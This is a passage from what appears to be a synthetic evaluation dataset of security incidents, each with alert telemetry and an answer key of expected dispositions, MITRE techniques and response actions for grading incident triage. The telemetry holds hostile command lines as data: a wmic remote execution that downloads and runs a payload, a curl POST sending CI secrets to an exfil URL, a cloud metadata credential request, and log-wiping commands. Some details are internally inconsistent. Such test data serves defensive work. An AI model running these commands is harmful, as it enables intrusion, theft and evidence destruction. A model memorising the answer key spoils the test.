+ "description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "WMI lateral execution from WIN-FILE-SHARE to MAC-CFO-LAPTOP",
+ "severity": "high",
+ "template_id": "wmi-lateral-execution"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-FILE-SHARE",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wbem\\wmic.exe",
+ "CommandLine": "wmic /node:MAC-CFO-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1047"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-086",
+ "provenance": "synthetic",
+ "title": "Bulk PII download by [email protected]",
+ "description": "[email protected] downloaded >10 GB of customer records from production database from WIN-EXCHANGE-01. Outside normal access pattern.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Bulk PII download by [email protected]",
+ "severity": "critical",
+ "template_id": "bulk-pii-download"
+ },
+ "telemetry": [
+ {
+ "source": "db_audit",
+ "operation": "SELECT",
+ "user": "[email protected]",
+ "src_host": "WIN-EXCHANGE-01",
+ "database": "prod_customers",
+ "table": "customer_records",
+ "rows_returned": 4200000,
+ "bytes": 10700000000
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1005",
+ "T1041"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-087",
+ "provenance": "synthetic",
+ "title": "Clipboard logging implant on WIN-PROD-WEB02",
+ "description": "Clipboard contents from WIN-PROD-WEB02 ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Clipboard logging implant on WIN-PROD-WEB02",
+ "severity": "high",
+ "template_id": "clipboard-keylogger"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 24,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "Hashes": "SHA256=abc..."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1115"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-088",
+ "provenance": "synthetic",
+ "title": "DNS tunnelling exfiltration from WIN-DC-SECONDARY",
+ "description": "DNS query volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 185.220.101.7.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "DNS tunnelling exfiltration from WIN-DC-SECONDARY",
+ "severity": "critical",
+ "template_id": "dns-tunnel-exfil"
+ },
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "aGVsbG8gd29ybGQK.exfil.185.220.101.7.in-addr.arpa",
+ "query_type": "TXT",
+ "src_host": "WIN-DC-SECONDARY",
+ "dst_ip": "185.220.101.7",
+ "response_size": 512,
+ "qps": 240
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1071.004",
+ "T1048.003"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-089",
+ "provenance": "synthetic",
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-EXCHANGE-01",
+ "description": "Egress from WIN-EXCHANGE-01 to s3://atk-stage-192.168.1.100/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-EXCHANGE-01",
+ "severity": "critical",
+ "template_id": "s3-exfil-cloud-storage"
+ },
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutObject",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "sourceIPAddress": "WIN-EXCHANGE-01",
+ "requestParameters": {
+ "bucketName": "atk-stage-192.168.1.100",
+ "key": "dump/customers.tar.gz"
+ },
+ "resources": [
+ {
+ "ARN": "arn:aws:s3:::atk-stage-192.168.1.100/dump/customers.tar.gz"
+ }
+ ]
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1567.002"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-090",
+ "provenance": "synthetic",
+ "title": "Personal Drive exfil by [email protected]",
+ "description": "[email protected] on GCP-GKE-NODE-04 uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Personal Drive exfil by [email protected]",
+ "severity": "critical",
+ "template_id": "personal-drive-exfil"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://www.googleapis.com/upload/drive/v3/files",
+ "status_code": 200,
+ "src_host": "GCP-GKE-NODE-04",
+ "src_user": "[email protected]",
+ "bytes_out": 4300000000,
+ "file_count": 812
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1567.002",
+ "T1005"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-091",
+ "provenance": "synthetic",
+ "title": "DGA-based C2 traffic from GCP-GKE-NODE-04",
+ "description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 45.142.122.111.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "DGA-based C2 traffic from GCP-GKE-NODE-04",
+ "severity": "high",
+ "template_id": "dga-c2"
+ },
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "qkz3pl4vnxq2.com",
+ "query_type": "A",
+ "src_host": "GCP-GKE-NODE-04",
+ "rcode": "NXDOMAIN",
+ "qps_above_baseline": 50.0
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "45.142.122.111",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "threat_actor": "Volt Typhoon"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1568.002"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-092",
+ "provenance": "synthetic",
+ "title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 91.134.231.15",
+ "description": "Periodic HTTPS beacon from LIN-BUILD-CI03 to 91.134.231.15 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 91.134.231.15",
+ "severity": "critical",
+ "template_id": "https-c2-beacon"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-BUILD-CI03",
+ "DestinationIp": "91.134.231.15",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1",
+ "interval_secs": 60,
+ "jitter_pct": 2
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1071.001"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-093",
+ "provenance": "synthetic",
+ "title": "Ransomware encryption in progress on WIN-FIN-DB01",
+ "description": "Mass file rename observed on WIN-FIN-DB01 ([email protected]); ..pwned extension applied to ~20 k files. Ransomware note R3ADM3-FIN7.txt found.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Ransomware encryption in progress on WIN-FIN-DB01",
+ "severity": "critical",
+ "template_id": "ransomware-encryption"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-FIN-DB01",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.pwned",
+ "User": "[email protected]",
+ "rename_rate_per_min": 4200
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-FIN-DB01",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-FIN7.txt",
+ "User": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "Ransomware behaviour: high-rate file rename + ransom note",
+ "severity": "critical",
+ "Computer": "WIN-FIN-DB01",
+ "threat_actor": "FIN7"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1486"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-094",
+ "provenance": "synthetic",
+ "title": "Cryptominer execution on WIN-DC-PRIMARY",
+ "description": "XMRig miner spawned on WIN-DC-PRIMARY; CPU saturated to 95%. Mining pool 192.168.1.100:5555. Linked to MosaicRegressor.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Cryptominer execution on WIN-DC-PRIMARY",
+ "severity": "medium",
+ "template_id": "xmrig-cryptominer"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/xmrig",
+ "a0": "xmrig",
+ "a1": "-o",
+ "a2": "192.168.1.100:5555",
+ "hostname": "WIN-DC-PRIMARY",
+ "cpu_pct": 95
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1496"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-095",
+ "provenance": "synthetic",
+ "title": "BEC: payment redirect by [email protected]",
+ "description": "Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by [email protected] from GCP-GKE-NODE-04 to threat-actor account. Linked to APT29.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "BEC: payment redirect by [email protected]",
+ "severity": "critical",
+ "template_id": "bec-wire-fraud"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "GCP-GKE-NODE-04",
+ "Subject": "URGENT: Wire instructions from CFO",
+ "From": "[email protected]",
+ "ReplyTo": "[email protected]",
+ "threat_actor": "APT29"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1566.001",
+ "T1657"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-096",
+ "provenance": "synthetic",
+ "title": "Public S3 bucket exposing PII",
+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Public S3 bucket exposing PII",
+ "severity": "critical",
+ "template_id": "public-s3-bucket-pii"
+ },
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutBucketAcl",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "AccessControlPolicy": {
+ "Grants": [
+ {
+ "Grantee": "AllUsers",
+ "Permission": "READ"
+ }
+ ]
+ }
+ }
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "ListObjectsV2",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "91.134.231.15",
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "max-keys": 1000
+ },
+ "userIdentity": {
+ "type": "AnonymousUser"
+ }
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1530",
+ "T1567.002"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-097",
+ "provenance": "synthetic",
+ "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
+ "description": "Successful Azure AD sign-in for [email protected] from 192.168.1.100 (impossible-travel from prior location). MFA satisfied via stolen session token.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
+ "severity": "critical",
+ "template_id": "azure-ad-impossible-travel"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "192.168.1.100",
+ "location": {
+ "city": "Vladivostok",
+ "countryOrRegion": "RU"
+ },
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Previously satisfied",
+ "succeeded": true
+ }
+ ],
+ "riskEventTypes": [
+ "unfamiliarFeatures",
+ "unlikelyTravel"
+ ],
+ "riskLevelAggregated": "high"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1078.004",
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-098",
+ "provenance": "synthetic",
+ "title": "DDoS volumetric flood targeting public-facing WIN-HR-DESKTOP",
+ "description": "L4 SYN flood from a botnet (>1M PPS) targeting WIN-HR-DESKTOP. Edge mitigation engaged but service degraded for 12 minutes.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "DDoS volumetric flood targeting public-facing WIN-HR-DESKTOP",
+ "severity": "high",
+ "template_id": "ddos-syn-flood"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://WIN-HR-DESKTOP/",
+ "status_code": 503,
+ "pps": 1120000,
+ "packet_type": "TCP-SYN",
+ "edge_mitigation": "engaged",
+ "duration_secs": 720
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1498.001"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-099",
+ "provenance": "synthetic",
+ "title": "Insider preparing departure: large mailbox export by [email protected]",
+ "description": "[email protected] exported full mailbox PST (8 GB) from MAC-LEGAL-LAPTOP. HR flag: notice given last week.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Insider preparing departure: large mailbox export by [email protected]",
+ "severity": "high",
+ "template_id": "insider-mailbox-export"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-MailboxExportRequest",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Mailbox": "[email protected]",
+ "FilePath": "\\\\MAC-LEGAL-LAPTOP\\export\\[email protected]"
+ },
+ "Bytes": 8300000000
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1114.002",
+ "T1567.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-100",
+ "provenance": "synthetic",
+ "title": "Malicious Office add-in installed for [email protected]",
+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-FILE-SHARE; loads on every Outlook startup; beacons to 10.0.99.42.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious Office add-in installed for [email protected]",
+ "severity": "high",
+ "template_id": "office-vsto-addin"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "WIN-FILE-SHARE",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater",
+ "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-FILE-SHARE",
+ "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",
+ "DestinationIp": "10.0.99.42",
+ "DestinationPort": 443
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1137.006",
+ "T1071.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-101",
+ "provenance": "synthetic",
+ "title": "GitHub PAT leaked and abused from 45.142.122.111",
+ "description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "GitHub PAT leaked and abused from 45.142.122.111",
+ "severity": "critical",
+ "template_id": "github-pat-leak"
+ },
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "git.clone",
+ "actor": "[email protected]",
+ "actor_ip": "45.142.122.111",
+ "repo_count": 14,
+ "programmatic_access_type": "personal_access_token",
+ "user_agent": "git/2.40.0"
+ },
+ {
+ "source": "github_audit",
+ "action": "push",
+ "actor": "[email protected]",
+ "repo": "[email protected]/dotfiles",
+ "visibility": "public",
+ "file_changed": ".env",
+ "secret_detected": "github_pat_*"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1552.001",
+ "T1213.003"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-102",
+ "provenance": "synthetic",
+ "title": "EC2 instance metadata service abused on LIN-BUILD-CI03",
+ "description": "IMDSv1 abused on LIN-BUILD-CI03; temporary IAM credentials for role exfilled to 172.16.50.7. CloudTrail shows AssumeRole from external.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "EC2 instance metadata service abused on LIN-BUILD-CI03",
+ "severity": "critical",
+ "template_id": "ec2-imds-credential-theft"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app",
+ "status_code": 200,
+ "src_host": "LIN-BUILD-CI03",
+ "imds_version": "v1"
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "AssumeRole",
+ "eventSource": "sts.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "172.16.50.7",
+ "userIdentity": {
+ "type": "AssumedRole",
+ "principalId": "AIDA:role-app",
+ "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"
+ },
+ "userAgent": "aws-cli/2.13"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1552.005",
+ "T1078.004"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-103",
+ "provenance": "synthetic",
+ "title": "Vendor admin password reset abuse for [email protected]",
+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Vendor admin password reset abuse for [email protected]",
+ "severity": "high",
+ "template_id": "helpdesk-password-reset-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Reset user password.",
+ "UserId": "[email protected]",
+ "TargetUserId": "[email protected]",
+ "ClientIP": "10.0.0.50"
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "185.220.101.7",
+ "resultType": 0,
+ "seconds_after_reset": 87
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1566.004",
+ "T1078"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-104",
+ "provenance": "synthetic",
+ "title": "OAuth refresh-token theft for [email protected]",
+ "description": "Refresh token for [email protected] replayed from 91.134.231.15. Granted access to mailbox + OneDrive without re-prompt.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "OAuth refresh-token theft for [email protected]",
+ "severity": "high",
+ "template_id": "oauth-refresh-token-theft"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "resultType": 0,
+ "authenticationProtocol": "oAuth2",
+ "grantType": "refresh_token",
+ "resourceDisplayName": "Microsoft Graph"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-105",
+ "provenance": "synthetic",
+ "title": "Container image with embedded backdoor pulled by WIN-FILE-SHARE",
+ "description": "Image registry/repo:malicious-backdoor pulled by WIN-FILE-SHARE. Layer scan flagged embedded netcat reverse-shell binary.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Container image with embedded backdoor pulled by WIN-FILE-SHARE",
+ "severity": "high",
+ "template_id": "malicious-container-image"
+ },
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "system:serviceaccount:default:deploy"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "image": "registry.local/repo:malicious-backdoor"
+ }
+ ]
+ }
+ },
+ "node": "WIN-FILE-SHARE"
+ },
+ {
+ "source": "edr",
+ "rule": "Image scan: embedded netcat reverse-shell binary",
+ "severity": "high",
+ "Computer": "WIN-FILE-SHARE",
+ "image": "registry.local/repo:malicious-backdoor",
+ "cve_layer_count": 2
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.002",
+ "T1610"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-106",
+ "provenance": "synthetic",
+ "title": "Outlook rule auto-forwarding mail from [email protected]",
+ "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 192.168.1.100. Linked to MosaicRegressor.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Outlook rule auto-forwarding mail from [email protected]",
+ "severity": "high",
+ "template_id": "outlook-auto-forward-rule"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Sync",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true,
+ "MarkAsRead": true
+ },
+ "threat_actor": "MosaicRegressor"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1564.008",
+ "T1114.003"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-107",
+ "provenance": "synthetic",
+ "title": "Linux journald log tampering on LIN-OBS-LOGGER",
+ "description": "journalctl --rotate --vacuum-time=1s observed on LIN-OBS-LOGGER by [email protected]; recent journal entries purged. Indicator removal.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Linux journald log tampering on LIN-OBS-LOGGER",
+ "severity": "high",
+ "template_id": "linux-journald-tampering"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/journalctl",
+ "a0": "journalctl",
+ "a1": "--rotate",
+ "a2": "--vacuum-time=1s",
+ "hostname": "LIN-OBS-LOGGER",
+ "user": "[email protected]"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1070.002"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-108",
+ "provenance": "synthetic",
+ "title": "Compromised CI runner on LIN-BUILD-CI03 pushing to production",
+ "description": "Self-hosted CI runner LIN-BUILD-CI03 compromised. Job triggered from PR injected secret exfil step; secrets posted to 192.168.1.100.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Compromised CI runner on LIN-BUILD-CI03 pushing to production",
+ "severity": "critical",
+ "template_id": "compromised-ci-runner"
+ },
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "workflow_run.requested",
+ "workflow": "deploy.yml",
+ "actor": "external-contrib",
+ "repository": "aisoc/web",
+ "event": "pull_request",
+ "runner": "LIN-BUILD-CI03"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/curl",
+ "a1": "-X",
+ "a2": "POST",
+ "a3": "https://192.168.1.100/exfil",
+ "hostname": "LIN-BUILD-CI03",
+ "user": "ci-runner",
+ "secret_detected": true
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.002",
+ "T1552.004"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-109",
+ "provenance": "synthetic",
+ "title": "Suspicious VPN login from new geography for [email protected]",
+ "description": "VPN login for [email protected] from 10.0.99.42 (new country, no prior history). Subsequent lateral SMB scan from VPN range to LIN-K8S-NODE01.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Suspicious VPN login from new geography for [email protected]",
+ "severity": "high",
+ "template_id": "vpn-new-geography"
+ },
+ "telemetry": [
+ {
+ "source": "vpn",
+ "action": "login_success",
+ "user": "[email protected]",
+ "src_ip": "10.0.99.42",
+ "geo_country": "UA",
+ "first_login_country": true
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "LIN-K8S-NODE01",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\IPC$",
+ "IpAddress": "10.0.99.42",
+ "EventCount": 128
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1078.004",
+ "T1021.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-110",
+ "provenance": "synthetic",
+ "title": "Privileged command run as service account on WIN-DEVOPS-LT",
+ "description": "Service account [email protected] (no interactive use expected) ran privileged net.exe + wevtutil cl Security on WIN-DEVOPS-LT. Anomalous.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Privileged command run as service account on WIN-DEVOPS-LT",
+ "severity": "high",
+ "template_id": "service-account-privileged-command"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DEVOPS-LT",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security",
+ "LogonType": 5
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1078.001",
+ "T1070.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-111",
+ "provenance": "synthetic",
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "description": "Inbound email from 192.168.1.100 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on LIN-OBS-LOGGER; macro spawned cmd.exe and downloaded a stage-2 payload from a known Scattered Spider infrastructure.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "severity": "high",
+ "template_id": "phishing-macro-email"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "192.168.1.100",
+ "Subject": "Q4 invoice (action required)",
